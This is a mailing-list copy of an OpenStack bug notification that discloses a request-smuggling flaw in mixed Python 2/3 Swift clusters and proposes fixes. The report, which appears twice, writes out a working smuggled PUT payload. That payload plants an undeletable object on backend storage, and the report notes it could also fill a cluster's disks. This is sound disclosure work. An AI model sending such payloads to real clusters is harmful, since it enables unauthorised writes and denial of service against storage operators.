[Openstack-security] [Bug 1840507] Re: Mixed py2/py3 environment allows authed users to write arbitrary data to the cluster
Jeremy Stanley
fungi at yuggoth.org
Thu Sep 19 23:08:01 UTC 2019
Yes, it does get a little weird since the bug in question appeared in a
release only on the master branch of a project which maintains stable
branches as well. There would be no guarantee of a means for
distributors of 2.22.0 to backport a clean fix, though I suppose that
could still be possible depending on how much they care about the
related unit test issue. Regardless, since Python 3 support in 2.22.0
was marked as experimental, that means we could similarly consider it
covered by class B3 in our report taxonomy as well.
As this plan has the consent of both the original reporter and the Swift
PTL (being one and the same person), I won't delay further in switching
it to public. Thanks, Tim!
** Description changed:
- This issue is being treated as a potential security risk under embargo.
- Please do not make any public mention of embargoed (private) security
- vulnerabilities before their coordinated publication by the OpenStack
- Vulnerability Management Team in the form of an official OpenStack
- Security Advisory. This includes discussion of the bug or associated
- fixes in public forums such as mailing lists, code review systems and
- bug trackers. Please also avoid private disclosure to other individuals
- not already approved for access to this information, and provide this
- same reminder to those who are made aware of the issue prior to
- publication. All discussion should remain confined to this private bug
- report, and any proposed fixes should be added to the bug as
- attachments.
-
Python 3 doesn't parse headers the same way as python 2 [1]. We attempt
to address this failing [2], but since we're doing it at the application
level, eventlet can still get confused about what should and should not
be the request body.
Consider a client request like
PUT /v1/AUTH_test/c/o HTTP/1.1
Host: saio:8080
Content-Length: 4
Connection: close
X-Object-Meta-x-🌴: 👍
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Transfer-Encoding: chunked
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
A python 2 proxy-server will auth the user, add a bunch more headers,
and send a request on to the object-servers like
PUT /sdb1/312/AUTH_test/c/o HTTP/1.1
Accept-Encoding: identity
Expect: 100-continue
X-Container-Device: sdb2
Content-Length: 4
X-Object-Meta-X-🌴: 👍
Connection: close
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Content-Type: application/octet-stream
X-Backend-Storage-Policy-Index: 1
X-Timestamp: 1565985475.83685
X-Container-Host: 127.0.0.1:6021
X-Container-Partition: 61
Host: saio:8080
User-Agent: proxy-server 3752
Referer: PUT http://saio:8080/v1/AUTH_test/c/o
Transfer-Encoding: chunked
X-Trans-Id: txef407697a8c1416c9cf2d-005d570ac3
X-Backend-Clean-Expiring-Object-Queue: f
(Note that the exact order of the headers will vary but is significant;
the above was obtained on my machine with PYTHONHASHSEED=1.)
On a python 3 object-server, eventlet will only have seen the headers up
to (and not including, though that doesn't really matter) the palm tree.
Significantly, it sees `Content-Length: 4` (which, per the spec [3], the
proxy-server ignored) and doesn't see either of `Connection: close` or
`Transfer-Encoding: chunked`. The *application* gets all of the headers,
though, so it responds
HTTP/1.1 100 Continue
and the proxy sends the body:
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
Since eventlet thinks the request body is only four bytes, swift writes
down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the
`Connection: close` header, it looks for and processes more requests on
the socket, and swift writes a second object:
$ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/9999999999.99999_ffffffffffffffff.data
Path: /DUDE_u/r/pwned
Account: DUDE_u
Container: r
Object: pwned
Object hash: b05097e51f8700a3f5a29d93eb2941f2
Content-Type: text/evil
Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
System Metadata:
No metadata found
Transient System Metadata:
No metadata found
User Metadata:
No metadata found
Other Metadata:
No metadata found
ETag: 4034a346ccee15292d823416f7510a2f (valid)
Content-Length: 4 (valid)
Partition 705
Hash b05097e51f8700a3f5a29d93eb2941f2
...
There are a few things worth noting at this point:
1. This was for a replicated policy with encryption not enabled.
Having encryption enabled would mitigate this as the attack
payload would be encrypted; using an erasure-coded policy would
complicate the attack, but I believe most EC schemes would still
be vulnerable.
2. An attacker would need to know (or be able to guess) a device
name (such as "sdb1" above) used by one of the backend nodes.
3. Swift doesn't know how to delete this data -- the X-Timestamp
used was the maximum valid value, so no tombstone can be
written over it [4].
4. The account and container may not actually exist; it doesn't
really matter as no container update is sent. As a result, the
data written cannot easily be found or tracked.
5. A small payload was used for the demonstration, but it should
be fairly trivial to craft a larger one; this has potential as
a DOS attack on a cluster by filling its disks.
The fix should involve at least things: First, after re-parsing headers,
servers should make appropriate adjustments to environ['wsgi.input'] to
ensure that it has all relevant information about the request body.
Second, the proxy should not include a Content-Length header when
sending a chunk-encoded request to the backend.
[1] https://bugs.python.org/issue37093
[2] https://github.com/openstack/swift/commit/76fde8926
[3] https://tools.ietf.org/html/rfc7230#section-3.3.3 item 3
[4] https://github.com/openstack/swift/commit/f581fccf7
** Changed in: ossa
Status: Incomplete => Won't Fix
** Information type changed from Private Security to Public
** Tags added: security
--
You received this bug notification because you are a member of OpenStack
Security SIG, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1840507
Title:
Mixed py2/py3 environment allows authed users to write arbitrary data
to the cluster
Status in OpenStack Security Advisory:
Won't Fix
Status in OpenStack Object Storage (swift):
New
Bug description:
Python 3 doesn't parse headers the same way as python 2 [1]. We
attempt to address this failing [2], but since we're doing it at the
application level, eventlet can still get confused about what should
and should not be the request body.
Consider a client request like
PUT /v1/AUTH_test/c/o HTTP/1.1
Host: saio:8080
Content-Length: 4
Connection: close
X-Object-Meta-x-🌴: 👍
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Transfer-Encoding: chunked
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
A python 2 proxy-server will auth the user, add a bunch more headers,
and send a request on to the object-servers like
PUT /sdb1/312/AUTH_test/c/o HTTP/1.1
Accept-Encoding: identity
Expect: 100-continue
X-Container-Device: sdb2
Content-Length: 4
X-Object-Meta-X-🌴: 👍
Connection: close
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Content-Type: application/octet-stream
X-Backend-Storage-Policy-Index: 1
X-Timestamp: 1565985475.83685
X-Container-Host: 127.0.0.1:6021
X-Container-Partition: 61
Host: saio:8080
User-Agent: proxy-server 3752
Referer: PUT http://saio:8080/v1/AUTH_test/c/o
Transfer-Encoding: chunked
X-Trans-Id: txef407697a8c1416c9cf2d-005d570ac3
X-Backend-Clean-Expiring-Object-Queue: f
(Note that the exact order of the headers will vary but is
significant; the above was obtained on my machine with
PYTHONHASHSEED=1.)
On a python 3 object-server, eventlet will only have seen the headers
up to (and not including, though that doesn't really matter) the palm
tree. Significantly, it sees `Content-Length: 4` (which, per the spec
[3], the proxy-server ignored) and doesn't see either of `Connection:
close` or `Transfer-Encoding: chunked`. The *application* gets all of
the headers, though, so it responds
HTTP/1.1 100 Continue
and the proxy sends the body:
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
Since eventlet thinks the request body is only four bytes, swift
writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the
`Connection: close` header, it looks for and processes more requests
on the socket, and swift writes a second object:
$ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/9999999999.99999_ffffffffffffffff.data
Path: /DUDE_u/r/pwned
Account: DUDE_u
Container: r
Object: pwned
Object hash: b05097e51f8700a3f5a29d93eb2941f2
Content-Type: text/evil
Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
System Metadata:
No metadata found
Transient System Metadata:
No metadata found
User Metadata:
No metadata found
Other Metadata:
No metadata found
ETag: 4034a346ccee15292d823416f7510a2f (valid)
Content-Length: 4 (valid)
Partition 705
Hash b05097e51f8700a3f5a29d93eb2941f2
...
There are a few things worth noting at this point:
1. This was for a replicated policy with encryption not enabled.
Having encryption enabled would mitigate this as the attack
payload would be encrypted; using an erasure-coded policy would
complicate the attack, but I believe most EC schemes would still
be vulnerable.
2. An attacker would need to know (or be able to guess) a device
name (such as "sdb1" above) used by one of the backend nodes.
3. Swift doesn't know how to delete this data -- the X-Timestamp
used was the maximum valid value, so no tombstone can be
written over it [4].
4. The account and container may not actually exist; it doesn't
really matter as no container update is sent. As a result, the
data written cannot easily be found or tracked.
5. A small payload was used for the demonstration, but it should
be fairly trivial to craft a larger one; this has potential as
a DOS attack on a cluster by filling its disks.
The fix should involve at least things: First, after re-parsing
headers, servers should make appropriate adjustments to
environ['wsgi.input'] to ensure that it has all relevant information
about the request body. Second, the proxy should not include a
Content-Length header when sending a chunk-encoded request to the
backend.
[1] https://bugs.python.org/issue37093
[2] https://github.com/openstack/swift/commit/76fde8926
[3] https://tools.ietf.org/html/rfc7230#section-3.3.3 item 3
[4] https://github.com/openstack/swift/commit/f581fccf7
To manage notifications about this bug go to:
https://bugs.launchpad.net/ossa/+bug/1840507/+subscriptions
More information about the Openstack-security
mailing list